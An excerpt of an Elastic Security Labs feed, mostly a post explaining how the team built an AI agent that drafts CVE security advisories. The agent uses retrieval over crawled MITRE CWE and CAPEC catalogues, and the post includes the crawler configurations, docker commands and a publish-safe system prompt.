<li>One comment per Specialized agent that ran, each with a focused forensic report from the relevant domain specialist.</li>
<li>The Final Review report in the case description, with a True Positive / False Positive assessment, recommended next actions, CEBA relationship analysis, and event timeline.</li>
</ul>
<p>This typically completes within a minute of the alert being created. An analyst reviewing the case can quickly decide whether to act on it, close it, or escalate.</p>
<h2>How to build an alert triage pipeline in your environment</h2>
<p>The architecture is a workflow and a collection of agents, but the underlying pattern is straightforward. Here is the recipe at a high level:</p>
<ol>
<li>
<p><strong>Tag your detection rules.</strong> Define what a false positive looks like for each rule type. <code>Triage: Workstation</code> means &quot;close if Fleet or Jamf confirms this is a managed corporate device.&quot; <code>Triage: Asset</code> means &quot;run the full infrastructure inventory check.&quot; Detection engineers own the tags; the workflow enforces them. See our <a href="https://www.elastic.co/kr/blog/false-positives-automated-siem-investigations-elastic-tines">earlier post on automated SIEM investigations</a> for additional information.</p>
</li>
<li>
<p><strong>Build the orchestration workflow.</strong> The workflow is the backbone of the pipeline:</p>
<ul>
<li>Receives every alert via the workflow action.</li>
<li>Runs deterministic triage checks to close what it can.</li>
<li>Enriches the rest with ES|QL across your relevant data sources.</li>
<li>Routes to the right agents and opens cases.</li>
<li>Handles closes when the Initial Triage or Final Review agent returns a high-confidence false positive.</li>
</ul>
<p>For each alert type, decide which data sources contain useful context and build ES|QL steps for each. All ES|QL queries in the workflow should use <code>KEEP</code> statements to keep only the needed fields in the output to prevent overwhelming the agents.</p>
<p>The workflow can be large and complex; we recommend using an AI Coding assistant such as Claude or Codex to help create and edit the workflow.</p>
</li>
<li>
<p><strong>Build a narrow Initial Triage agent.</strong> It should receive the enrichment and make a single structured verdict. Give it a small tool set for gap-filling and a strict output format the workflow can parse. The narrower the scope, the more predictable the token cost. One important detail: do not pass the full alert document to the agent. Raw alert documents contain many fields that are not useful for triage and will inflate your token count. Instead, use an ES|QL <code>KEEP</code> statement in the workflow to extract the fields that matter (rule name, event action, process command line, source IP, user, host, and similar) along with the alert ID. If the agent needs additional fields, it can retrieve the full document using the alert ID.</p>
</li>
<li>
<p><strong>Build Specialized agents for your highest-volume domains.</strong> Write the investigation methodology directly into the system prompt rather than relying on skill delegation. A step-by-step methodology produces consistent, reproducible output. Start with the domains that generate the most alerts in your environment.</p>
</li>
<li>
<p><strong>Build a Final Review agent that reads the case.</strong> Its only job is to interpret what the Specialized agents found and render a final assessment and report. Giving it access to the case and no other tools keeps it grounded in evidence and prevents it from hallucinating or going off on its own investigation.</p>
</li>
</ol>
<h2>Alert triage in under 3 minutes: the bottom line</h2>
<p>The agentic SOC pipeline turns 30-minute manual alert triage into under 3 minutes of automated investigation. Every alert that reaches an analyst already comes with a full investigation and a recommended action, so the analyst's time goes toward deciding what to do, not toward gathering the context to decide.</p>
<p>Deterministic ES|QL triage closes the false positives that have clear, queryable patterns at zero token cost. The Initial Triage agent closes the next layer at around 50k tokens. Anything that survives gets a full investigation from the Specialized agents and a synthesis report from the Final Review agent before an analyst ever opens the alert.</p>
<p>We built the entire pipeline on Elastic's native stack: <a href="https://www.elastic.co/kr/docs/explore-analyze/workflows">Elastic Workflows</a> for orchestration, <a href="https://www.elastic.co/kr/docs/explore-analyze/ai-features/elastic-agent-builder">Agent Builder</a> for the agents, the <a href="https://www.elastic.co/kr/docs/explore-analyze/elastic-inference/eis">Elastic Inference Service</a> for inference, and <a href="https://www.elastic.co/kr/guide/en/security/current/cases-overview.html">Kibana Cases</a> as the shared investigation workspace. No third-party automation platforms, no separate orchestrators, and inference routed through providers documented with zero data retention. If you want to build something similar, the <a href="https://www.elastic.co/kr/docs/explore-analyze/ai-features/elastic-agent-builder">Agent Builder</a> and <a href="https://www.elastic.co/kr/docs/explore-analyze/workflows">Workflows</a> documentation are the right starting points. If you are not already running Elastic Security, you can <a href="https://www.elastic.co/kr/cloud/elasticsearch-service/signup">start a free trial</a> to explore both.</p>
<p>We would like to hear what you build. The <a href="https://discuss.elastic.co/c/security">Elastic Security community forum</a> is a good place to share what you have tried and ask questions.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/alert-triage-agentic-soc-elastic-workflows/cover.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[From vulnerability report to CVE draft in minutes: how Elastic automated security advisories with AI]]></title>
            <link>https://www.elastic.co/kr/security-labs/security-advisory-automation-rag-elastic-agent-builder</link>
            <guid>security-advisory-automation-rag-elastic-agent-builder</guid>
            <pubDate>Tue, 23 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[How Elastic's security team built an AI agent with RAG against MITRE's CWE and CAPEC catalogues to draft CVE advisories from raw vulnerability reports, including the full prompt and crawler configs.]]></description>
            <content:encoded><![CDATA[<p>Elastic's InfoSec Product Security Team built a generative AI agent using Elastic Agent Builder that drafts complete CVE security advisories (CWE classification, CAPEC methodology, CVSS scoring, and mitigation guidance) directly from raw vulnerability reports. The agent uses RAG against the MITRE CWE and CAPEC catalogues indexed in Elasticsearch, which grounds its output in authoritative data and prevents hallucinated classification IDs. ESA-2026-01 is already in production as an example of output that went through this pipeline. Here's how we built it.</p>
<h2>How security advisories are drafted manually (and why it's slow)</h2>
<p>At Elastic, we manage the lifecycle of product vulnerabilities using the <a href="https://www.first.org/standards/frameworks/psirts/psirt_services_framework_v1.1">PSIRT Service Framework</a>, which defines four stages: discovery, triage, remediation, and disclosure. Each security advisory starts from a vulnerability report received during the discovery phase, and those reports vary widely in quality — translating them into something customers can consume is time-consuming. We draft the security advisory during the disclosure phase, ahead of a planned product release that contains the fix. The advisory is then published as an <a href="https://www.elastic.co/kr/product-security">Elastic Security Advisory (ESA)</a>, with an assigned CVE ID, in the <a href="https://discuss.elastic.co/c/announcements/security-announcements/31">Elastic Security Announcements</a> forum, where anyone can review the disclosed vulnerabilities and the associated mitigations.</p>
<p>Each disclosure also gets published into the <a href="https://www.cve.org/">CVE Program</a>, from which downstream national and regional databases ingest it automatically, including the US <a href="https://nvd.nist.gov/">National Vulnerability Database</a> (NIST), the EU's <a href="https://euvd.enisa.europa.eu/">European Vulnerability Database</a> (ENISA), and Japan's <a href="https://jvn.jp/en/">Japan Vulnerability Notes</a> (JPCERT/CC).</p>
<p>To keep our output consistent, we follow the standard Common Vulnerabilities and Exposures (CVE) description template:</p>
<pre><code class="language-text">[PROBLEMTYPE] in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] on [PLATFORMS] allows [ATTACKER] to [IMPACT] via [VECTOR]
</code></pre>
<p>The PROBLEMTYPE is identified using a <a href="https://cwe.mitre.org/">Common Weakness Enumeration</a> (CWE) entry, and the Vector is described using a <a href="https://capec.mitre.org/">Common Attack Pattern Enumeration and Classification</a> (CAPEC) entry.</p>
<p>Substituting the correct CWE and CAPEC for each vulnerability, the template becomes:</p>
<pre><code class="language-text">[Common Weakness Enumeration] in [COMPONENT] in [VENDOR] [PRODUCT] [VERSION] on [PLATFORMS] allows [ATTACKER] to [IMPACT] via [Common Attack Pattern Enumeration and Classification]
</code></pre>
<p>The bulk of the manual effort goes into distilling a long, often technically dense vulnerability report into a concise, accurate advisory with a clear impact assessment for customers. Identifying the correct CWE and CAPEC classifications on top of that makes the process convoluted and drawn-out. This is where automation has the most to offer.</p>
<h2>Automating security advisory drafts with Elastic Agent Builder and RAG</h2>
<p>To streamline this process, our InfoSec Product Security Team developed a solution that uses an LLM to automatically generate the standardized sentence for security advisories. This solution involves two key steps:</p>
<ol>
<li>
<p><strong>Ingesting vulnerability categorization data:</strong> Hallucination is a well-documented failure mode for LLMs operating without authoritative grounding. The <a href="https://genai.owasp.org/llmrisk/llm092025-misinformation/">OWASP Top 10 for LLM Applications</a> (LLM09) lists it as a top risk category, and it was the original motivation for Retrieval-Augmented Generation. We saw it directly in our early experiments: when asked to assign CWE and CAPEC IDs unaided, the model frequently produced plausible-looking but non-existent entries. To prevent this, we used the <a href="https://github.com/elastic/crawler">Elastic Crawler</a> to scrape the CWE and CAPEC websites and ingest the data into two Elasticsearch indices: <code>web-crawl-mitre-cwe-software</code> and <code>web-crawl-mitre-capec-software</code>.</p>
</li>
<li>
<p><strong>Building the generative AI agent:</strong> We used the <a href="https://www.elastic.co/kr/guide/en/observability/current/agent-builder-overview.html">Elastic Agent Builder</a> to create a custom agent that uses an LLM to generate the advisory text based on the ingested data.</p>
</li>
</ol>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/security-advisory-automation-rag-elastic-agent-builder/security-advisory-agent-builder-rag-diagram.png" alt="Architecture Diagram" /></p>
<h2>Step 1: Indexing MITRE CWE and CAPEC data in Elasticsearch</h2>
<p>The first step was to get the CWE and CAPEC data into Elasticsearch. For this, we spun up an <a href="https://www.elastic.co/kr/cloud/serverless">Elastic Serverless</a> instance, noted the <a href="https://www.elastic.co/kr/docs/solutions/elasticsearch-solution-project/search-connection-details">connection details</a>, and generated an API key. We then created the configs for <a href="https://github.com/elastic/crawler">Elastic Crawler</a> to visit the MITRE websites and extract the relevant information. The same crawler configurations are run on a continuous schedule, so the indices stay current as MITRE publishes new CWE and CAPEC entries. That keeps the agent's grounded data fresh without manual intervention.</p>
<h3>CWE crawler configuration</h3>
<p>Here is the configuration for CWE data used to ground our AI agent in authoritative vulnerability data. The crawler seeds from CWE's software weaknesses view, follows links matching the <code>/data/definitions/</code> pattern, and extracts structured fields from each weakness page, including descriptions, mitigations, consequences, and observed examples ready for semantic search or RAG pipelines.</p>
<pre><code class="language-text"># CWE Crawler Configuration (crawl-config-mitre-cwe.yml)

output_sink: elasticsearch
output_index: web-crawl-mitre-cwe-software

elasticsearch:
  host: &quot;YOUR_ELASTIC_URL&quot;
  port: 443
  api_key: &quot;YOUR_API_KEY&quot;
  pipeline_enabled: false

domains:
  - url: https://cwe.mitre.org
    seed_urls:
      - https://cwe.mitre.org/data/definitions/699.html

    extraction_rulesets:
      - url_filters:
          - type: &quot;regex&quot;
            pattern: &quot;/data/definitions/[0-9]+\\.html&quot;
        rules:
          # 1. Capture the Full URL in a custom field
          - action: &quot;extract&quot;
            field_name: &quot;cwe_source_url&quot;
            selector: &quot;.*&quot; # Match everything in the URL
            join_as: &quot;string&quot;
            source: &quot;url&quot;

          # 2. Extract Just the ID Number from the URL (e.g., 79)
          - action: &quot;extract&quot;
            field_name: &quot;cwe_id&quot;
            selector: &quot;definitions/([0-9]+)&quot; # Capturing group isolates the digits
            join_as: &quot;string&quot;
            source: &quot;url&quot;

          # 3. Full Title
          - action: &quot;extract&quot;
            field_name: &quot;cwe_full_title&quot;
            selector: &quot;h2&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 4. Description Section
          - action: &quot;extract&quot;
            field_name: &quot;description&quot;
            selector: &quot;#Description .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 5. Extended Description
          - action: &quot;extract&quot;
            field_name: &quot;extended_description&quot;
            selector: &quot;#Extended_Description .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 6. Alternate Terms (Array)
          - action: &quot;extract&quot;
            field_name: &quot;alternate_terms&quot;
            selector: &quot;#Alternate_Terms .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 7. Common Consequences (Array)
          - action: &quot;extract&quot;
            field_name: &quot;common_consequences&quot;
            selector: &quot;#Common_Consequences .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 8. Potential Mitigations (Array)
          - action: &quot;extract&quot;
            field_name: &quot;potential_mitigations&quot;
            selector: &quot;#Potential_Mitigations .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 9. Background Details
          - action: &quot;extract&quot;
            field_name: &quot;background_details&quot;
            selector: &quot;#Background_Details .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 10. Modes of Introduction (Array)
          - action: &quot;extract&quot;
            field_name: &quot;modes_of_introduction&quot;
            selector: &quot;#Modes_Of_Introduction .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 11. Applicable Platforms (Array)
          - action: &quot;extract&quot;
            field_name: &quot;applicable_platforms&quot;
            selector: &quot;#Applicable_Platforms .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 12. Likelihood of Exploit
          - action: &quot;extract&quot;
            field_name: &quot;likelihood_of_exploit&quot;
            selector: &quot;#Likelihood_Of_Exploit .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 13. Demonstrative Examples
          - action: &quot;extract&quot;
            field_name: &quot;demonstrative_examples&quot;
            selector: &quot;#Demonstrative_Examples .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 14. Observed Examples (Array)
          - action: &quot;extract&quot;
            field_name: &quot;observed_examples&quot;
            selector: &quot;#Observed_Examples .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 15. Taxonomy Mappings (Array)
          - action: &quot;extract&quot;
            field_name: &quot;taxonomy_mappings&quot;
            selector: &quot;#Taxonomy_Mappings .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 16. Related Attack Patterns (Array)
          - action: &quot;extract&quot;
            field_name: &quot;related_attack_patterns&quot;
            selector: &quot;#Related_Attack_Patterns .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 17. References (Array)
          - action: &quot;extract&quot;
            field_name: &quot;references&quot;
            selector: &quot;#References .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

    crawl_rules:
      - policy: allow
        type: begins
        pattern: &quot;/data/definitions/&quot;
      - policy: deny
        type: contains
        pattern: &quot;/history&quot;
      - policy: deny
        type: regex
        pattern: .*
</code></pre>
<h3>CAPEC crawler configuration</h3>
<p>We apply the same approach for the MITRE CAPEC catalog, seeding from the Software attack patterns view and extracting structured fields from each pattern page, including attack descriptions, execution flow, prerequisites, required skills, and mitigations, all indexed into Elasticsearch alongside the CWE data.</p>
<pre><code class="language-text"># CAPEC Crawler Configuration (crawl-config-mitre-capec-software.yml)
output_sink: elasticsearch
output_index: web-crawl-mitre-capec-software

elasticsearch:
  host: &quot;YOUR_ELASTIC_URL&quot;
  port: 443
  api_key: &quot;YOUR_API_KEY&quot;
  pipeline_enabled: false

domains:
  - url: https://capec.mitre.org
    seed_urls:
      - https://capec.mitre.org/data/definitions/513.html # The &quot;Software&quot; Category View

    extraction_rulesets:
      - url_filters:
          - type: &quot;regex&quot;
            pattern: &quot;/data/definitions/[0-9]+\\.html&quot;
        rules:
          # 1. Capture the Full Source URL
          - action: &quot;extract&quot;
            field_name: &quot;capec_source_url&quot;
            selector: &quot;.*&quot;
            join_as: &quot;string&quot;
            source: &quot;url&quot;

          # 2. CAPEC ID (isolates just the number from the URL, e.g., 63)
          - action: &quot;extract&quot;
            field_name: &quot;capec_id&quot;
            selector: &quot;definitions/([0-9]+)&quot;
            join_as: &quot;string&quot;
            source: &quot;url&quot;

          # 3. Full Title (e.g., CAPEC-63: Cross-Site Scripting)
          - action: &quot;extract&quot;
            field_name: &quot;capec_full_title&quot;
            selector: &quot;h2&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 4. Description Section
          - action: &quot;extract&quot;
            field_name: &quot;description&quot;
            selector: &quot;#Description .indent&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 5. Likelihood Of Attack
          - action: &quot;extract&quot;
            field_name: &quot;likelihood_of_attack&quot;
            selector: &quot;#Likelihood_Of_Attack .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 6. Typical Severity
          - action: &quot;extract&quot;
            field_name: &quot;typical_severity&quot;
            selector: &quot;#Typical_Severity .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 7. Relationships (Array of table rows)
          - action: &quot;extract&quot;
            field_name: &quot;relationships&quot;
            selector: &quot;#Relationships .tabledetail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 8. Execution Flow
          - action: &quot;extract&quot;
            field_name: &quot;execution_flow&quot;
            selector: &quot;#Execution_Flow .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 9. Prerequisites
          - action: &quot;extract&quot;
            field_name: &quot;prerequisites&quot;
            selector: &quot;#Prerequisites .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 10. Skills Required
          - action: &quot;extract&quot;
            field_name: &quot;skills_required&quot;
            selector: &quot;#Skills_Required .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 11. Resources Required
          - action: &quot;extract&quot;
            field_name: &quot;resources_required&quot;
            selector: &quot;#Resources_Required .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 12. Mitigations
          - action: &quot;extract&quot;
            field_name: &quot;mitigations&quot;
            selector: &quot;#Mitigations .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 13. Example Instances
          - action: &quot;extract&quot;
            field_name: &quot;example_instances&quot;
            selector: &quot;#Example_Instances .detail&quot;
            join_as: &quot;string&quot;
            source: &quot;html&quot;

          # 14. Related Weaknesses (CWE Mappings)
          - action: &quot;extract&quot;
            field_name: &quot;related_weaknesses&quot;
            selector: &quot;#Related_Weaknesses .tabledetail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 15. Taxonomy Mappings
          - action: &quot;extract&quot;
            field_name: &quot;taxonomy_mappings&quot;
            selector: &quot;#Taxonomy_Mappings .tabledetail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

          # 16. References
          - action: &quot;extract&quot;
            field_name: &quot;references&quot;
            selector: &quot;#References .detail tr&quot;
            join_as: &quot;array&quot;
            source: &quot;html&quot;

    crawl_rules:
      # Allow the seed page and any pattern definition
      - policy: allow
        type: begins
        pattern: &quot;/data/definitions/&quot;

      # Deny navigational noise
      - policy: deny
        type: contains
        pattern: &quot;/history&quot;
      - policy: deny
        type: regex
        pattern: .*
</code></pre>
<p>With the crawler configurations set up, we then ran the following <code>docker run</code> commands to initiate two containers for running the data crawling process on each catalog:</p>
<p>This command launches the CWE crawler.</p>
<pre><code class="language-bash">docker run --rm \
  -v &quot;$(pwd)&quot;:/config \
  -it docker.elastic.co/integrations/crawler:latest jruby \
  bin/crawler crawl /config/crawl-config-mitre-cwe.yml
</code></pre>
<p>This command launches the CAPEC crawler.</p>
<pre><code class="language-bash">docker run --rm \
  -v &quot;$(pwd)&quot;:/config \
  -it docker.elastic.co/integrations/crawler:latest jruby \
  bin/crawler crawl /config/crawl-config-mitre-capec-software.yml
</code></pre>
<p>Now that both containers have successfully run, we can see they have crawled the webpages and indexed both CWE and CAPEC data (example output below). We're ready to proceed to the next step.</p>
<pre><code class="language-text">---- Crawl Stats ----
- Pages visited: 575
- URLs allowed: 574
- URLs denied
  - Already seen: 2817
  - Domain filter: 9936
- Crawl duration (seconds): 146
- Crawling time (seconds): 106.245
- Average response time (seconds): 0.18477391304347826

---- Elasticsearch Ingestion Stats ----
- Completed
  - Documents upserted: 574
  - Volume (bytes): 9626811
- Failed
  - Number of documents that failed to index: 0
  - Volume (bytes): 0
</code></pre>
<h2>Step 2: Building the security advisory AI agent</h2>
<p>With the CWE and CAPEC catalogues indexed in Elasticsearch, the next step was to build an agent that could draw on them to draft the security advisory text — CWE for the root cause, CAPEC for the attack methodology. We used the <a href="https://www.elastic.co/kr/guide/en/observability/current/agent-builder-overview.html">Elastic Agent Builder</a> to create a custom agent using Claude Opus, which consistently produced accurate security advisory text and template adherence.</p>
<h3>What tools Elastic Agent Builder agent uses</h3>
<h4>Grounding in CWE and CAPEC data</h4>
<p>Three tools form the core of the RAG loop, letting the agent find and retrieve authoritative classification data from our indexed catalogues:</p>
<ul>
<li>
<p><code>platform.core.search</code> — Elasticsearch full-text and structured search. The primary lookup when the agent is searching for candidate CWE or CAPEC entries that match a given vulnerability.</p>
</li>
<li>
<p><code>platform.core.get_document_by_id</code> — retrieves a full document by index and ID. Once <code>search</code> has narrowed candidates, this pulls the complete CWE or CAPEC record so the agent reasons against every structured field — description, mitigations, observed examples, related patterns — and not just a search snippet.</p>
</li>
<li>
<p><code>platform.core.execute_esql</code> — executes an ES|QL query and returns tabular results. Used when the agent needs more precise filtering than full-text search can deliver.</p>
</li>
</ul>
<h4>Index and schema discovery</h4>
<p>Two index and schema discovery tools let the agent figure out what data is available rather than relying on hard-coded names in the prompt:</p>
<ul>
<li>
<p><code>platform.core.list_indices</code> — lists the indices, aliases, and data streams the current user can access. Useful when the agent needs to confirm what indices exist before constructing a query.</p>
</li>
<li>
<p><code>platform.core.get_index_mapping</code> — retrieves mappings for a specific index. Lets the agent see the available fields before writing a query against them.</p>
</li>
<li>
<p><code>platform.core.index_explorer</code> — natural-language index discovery. The agent can ask &quot;which index holds the CWE catalogue?&quot; and get back a ranked list with mappings, without that being baked into the prompt.</p>
</li>
</ul>
<h4>Product-specific context</h4>
<p>When the agent populates the <em>Affected Configurations</em> and <em>Solutions and Mitigations</em> sections of the advisory, it needs to verify feature defaults and deployment-specific behaviour against authoritative sources rather than guessing:</p>
<ul>
<li>
<p><code>platform.core.product_documentation</code> — searches Elastic product documentation across the stack.</p>
</li>
<li>
<p><code>code.search_kibana_code</code>, <code>code.search_kibana_documentation</code>, and <code>code.fetch_kibana_documentation</code> — Kibana-specific source and documentation access, exercised when the advisory involves Kibana. These give the agent access to the code itself, not just the published docs, which matters for confirming subtle behaviours that the documentation doesn't always spell out.</p>
</li>
</ul>
<h4>Fallback retrieval capabilities</h4>
<ul>
<li><code>documentation.tavily_extract</code> — a defensive backstop that fetches the canonical MITRE page directly. With continuous crawling in place, the indexed catalogues stay current, so this rarely fires; it's there to ensure the agent isn't blocked.</li>
</ul>
<p>The tools aren't called in a free-form order. The prompt instructs the agent to exhaust the indexed catalogue first — <code>platform.core.search</code> to find candidates, then <code>platform.core.get_document_by_id</code> to retrieve the full record, before falling back to the external retrieval tool. That ordering matters: it prevents the agent from silently substituting unverified external content for data we've explicitly grounded against.</p>
<h3>How we tuned the system prompt for accurate advisory generation</h3>
<p>The prompt itself is where most of the iteration went. Several behaviours we built in are worth calling out, because each came from something we saw the agent do that we didn't want repeated:</p>
<ul>
<li>
<p><strong>Memory-safety verification.</strong> Early in testing, the agent suggested memory-corruption CWEs (e.g., CWE-119) for vulnerabilities in our Go-based Beats, which don't apply in a memory-safe language. The prompt was tuned so that it now detects the affected component's language and forbids memory-corruption CWEs and CAPECs whenever the language is Go, Rust, Java, TypeScript, or another memory-safe runtime.</p>
</li>
<li>
<p><strong>Minimum disclosure checklist.</strong> Advisories should describe vulnerabilities without producing a proof-of-concept. A checklist in the prompt scans the draft for function names, file paths, endpoint paths, parameter names, port numbers, and similar implementation details, replacing them with abstract equivalents (&quot;a specific internal component,&quot; &quot;a user-supplied input field&quot;) before the draft is finalised.</p>
</li>
<li>
<p><strong>CAPEC is methodology, not consequence.</strong> CAPEC can be wrongly chosen as an impact (&quot;Denial of Service&quot;) rather than attack technique (&quot;Resource Exhaustion&quot;). The prompt explicitly forbids that anti-pattern and tells the agent to omit the CAPEC entirely if no entry accurately describes the methodology — accuracy over completeness.</p>
</li>
<li>
<p><strong>&quot;Never ask, always produce.&quot;</strong> The agent is instructed to draft a complete advisory from whatever input it receives, using its own judgment for fields the input doesn't cover, rather than coming back to the operator with clarifying questions. The operator always gets a full draft to review.</p>
</li>
<li>
<p><strong>CVSS scoring guardrails.</strong> Some scoring patterns don't translate well across products, such as log shippers shouldn't be scored <code>Attack Vector: Network</code> unless internet-facing exploitation is explicitly demonstrated. Privilege levels also map directly to Elastic's built-in roles in the prompt: any authenticated role such as <code>viewer</code> or <code>editor</code> → Privileges Required: Low; admin-level roles such as <code>superuser</code>, <code>kibana_admin</code>, or <code>ingest_admin</code> → Privileges Required: High.</p>
</li>
<li>
<p><strong>Serverless.</strong> Elastic Cloud Serverless patches continuously, so advisories for products with a Serverless offering carry a specific block confirming the vulnerability was already remediated there before public disclosure.</p>
</li>
</ul>
<h3>Handling first-party and third-party vulnerabilities</h3>
<p>Not every vulnerability is a first-party Elastic bug. Some are issues in third-party dependencies — language runtimes, libraries, transitive packages. The prompt handles both cases with different templates: a first-party path that maps to a CWE + CAPEC pair, and a dependency path keyed off CWE-1395 (<em>Dependency on Vulnerable Third-Party Component</em>) that links to the upstream CVE(s) and dependency name. The dependency path also gives the agent access to <code>documentation.tavily_search</code> to pull upstream advisory context, while first-party vulnerabilities stay grounded only in our indexed CWE/CAPEC catalogues.</p>
<h3>What the agent outputs: draft advisory and reasoning</h3>
<p>The agent's response is always two parts: the draft security advisory, and a separate Reasoning section. The Reasoning forces the agent to justify each choice — which CWE was selected and why, which CAPEC was selected (or why none applied), what privileges are required to exploit the issue, and a one-sentence justification for every CVSS metric. The Disclosure Checklist that strips implementation details from the public-facing security advisory deliberately does <em>not</em> apply to the Reasoning section, so the reviewer sees the agent's full thinking, not the abstracted version. That gives the reviewer what they need: they read the Reasoning, decide whether the analysis is sound, then make the call on the advisory text.</p>
<h2>Elastic Security Advisory Generator</h2>
<p>We built the agent in Agent Builder and named it the <strong>Elastic Security Advisory Generator</strong>, a custom agent with the tools and prompt described above. The screenshot below shows it configured in the Agent Builder UI, with the model, wired-up tools, and system prompt all in place:</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/security-advisory-automation-rag-elastic-agent-builder/security-advisory-generator.png" alt="Agent example" /></p>
<p>The excerpt below is a publish-safe version of the prompt that drives the agent. We've omitted the full production prompt, which contains implementation-specific instructions and internal operational detail not needed to understand the design. To review it, see this <a href="https://github.com/elastic/elasticsearch-labs/blob/main/supporting-blog-content/security-labs/security-advisory-automation-rag-elastic-agent-builder/agent-creation-prompt.md">public GitHub repository</a>.</p>
<pre><code class="language-text">## ROLE &amp; OBJECTIVE

You are the Elastic Security Advisory Generator. Your task is to classify Elastic-specific vulnerabilities against approved industry taxonomies and draft a consistent public-facing security advisory.

Your goal is to produce a concise advisory that is accurate, reviewable, and grounded in authoritative source material, while minimizing unnecessary disclosure of exploit-enabling implementation detail.

---

## CORE BEHAVIOR

Produce a complete first draft from the information available in the vulnerability report.

- Use user-provided facts when they are present.
- Use approved internal reference data and product documentation to fill in missing context.
- Use best-effort judgment for non-critical narrative fields that are not explicitly provided.
- Leave placeholders only for identifiers that may genuinely be unavailable at draft time, such as the advisory number, CVE number, or final fixed version.

---

## INTAKE

Extract as many of the following fields as possible from the report:

1. Product name
2. Advisory identifier
3. CVE identifier
4. Fixed version or release
5. Affected versions
6. Deployment or configuration context

Include a Serverless remediation note only when the affected product has a Serverless offering or when applicability has been separately confirmed.

---

## GROUNDING AND SAFETY RULES

1. Use authoritative taxonomy data and product documentation as the primary sources of truth.
2. Prefer grounded retrieval over model inference when choosing weakness and attack-pattern classifications.
3. Keep the public advisory focused on what the issue is, who is affected, and how customers should respond.
4. Remove or generalize details that would make exploitation easier, including specific internal component names, file paths, endpoint paths, parameter names, port numbers, stack traces, and infrastructure identifiers.
5. For dependency vulnerabilities, include upstream dependency and CVE context only when that information is necessary to explain exposure.

---

## CLASSIFICATION GUARDRAILS

Before selecting taxonomy entries, identify the likely implementation language of the affected component.

- If the component is implemented in a memory-safe language, avoid memory-corruption classifications unless the report clearly indicates native-code involvement or low-level memory-corruption behavior.
- Select weakness classifications based on root cause.
- Select attack-pattern classifications based on methodology, not impact.
- If no attack-pattern entry accurately describes the method, omit it rather than forcing a weak match.

---

## MITIGATIONS AND SEVERITY

- Confirm affected configurations, deployment defaults, and workaround viability against product documentation before stating them.
- Distinguish between self-managed and hosted or managed deployment guidance when the mitigations differ.
- Produce only a draft CVSS assessment and justify each metric from the report details rather than from the vulnerability label alone.

---

## OUTPUT FORMAT

Return two clearly separated sections:

1. The Advisory
  - Subject line
  - One-line summary
  - Affected versions
  - Affected configurations
  - Solutions and mitigations
  - Indicators of compromise, when applicable
  - Serverless note, when applicable
  - Severity, CVE, problem type, and impact

2. Reasoning
  - Language assessment and safety guardrails applied
  - Rationale for selected taxonomy entries
  - Privilege assumptions
  - Draft CVSS metric reasoning

The public-facing advisory should stay high level. The Reasoning section may retain the additional context needed for internal validation.
</code></pre>
<h2>The result: faster, consistent CVE advisory drafts</h2>
<p>To use the agent, we take a security report (typically from our bug bounty programme) and paste the content into the Agent Builder conversation window. That content is usually free-form: a vulnerability description, the affected component and version, reproduction steps, and the researcher's view of impact.</p>
<p>The agent performs RAG against the CWE and CAPEC indices, applies the rules and guardrails in the prompt, and produces the two-part output described above: a draft security advisory, and a Reasoning section explaining its choices.</p>
<p>Before the draft is put forward for publication, the Product Security reviewer works through a short validation pass:</p>
<ul>
<li>
<p><strong>Confirm CWE and CAPEC selections against MITRE.</strong> The Reasoning section names the entries chosen and why. The reviewer verifies that each ID matches the official MITRE entry and that the selection lines up with the actual vulnerability.</p>
</li>
<li>
<p><strong>Sanity-check the CVSS metric reasoning.</strong> The Reasoning lays out a one-sentence justification per metric. The reviewer challenges anything that doesn't follow from the report.</p>
</li>
<li>
<p><strong>Scan for any over or under sharing.</strong> The disclosure checklist strips implementation details and replaces them with abstract language. The reviewer scans the Advisory for any specifics that may have slipped through, and equally for anything that should be included but has not been. The paragraph should be enough to understand the issue without being a proof-of-concept.</p>
</li>
<li>
<p><strong>Verify Affected Configurations and Mitigations sections.</strong> The agent reads from product documentation to formulate the &quot;Affected Configurations&quot; and &quot;Mitigations&quot; sections. These sections go to the engineering team that owns the product for verification before the advisory is published — only they have ground truth on feature defaults and whether a stated workaround actually works on the affected releases.</p>
</li>
</ul>
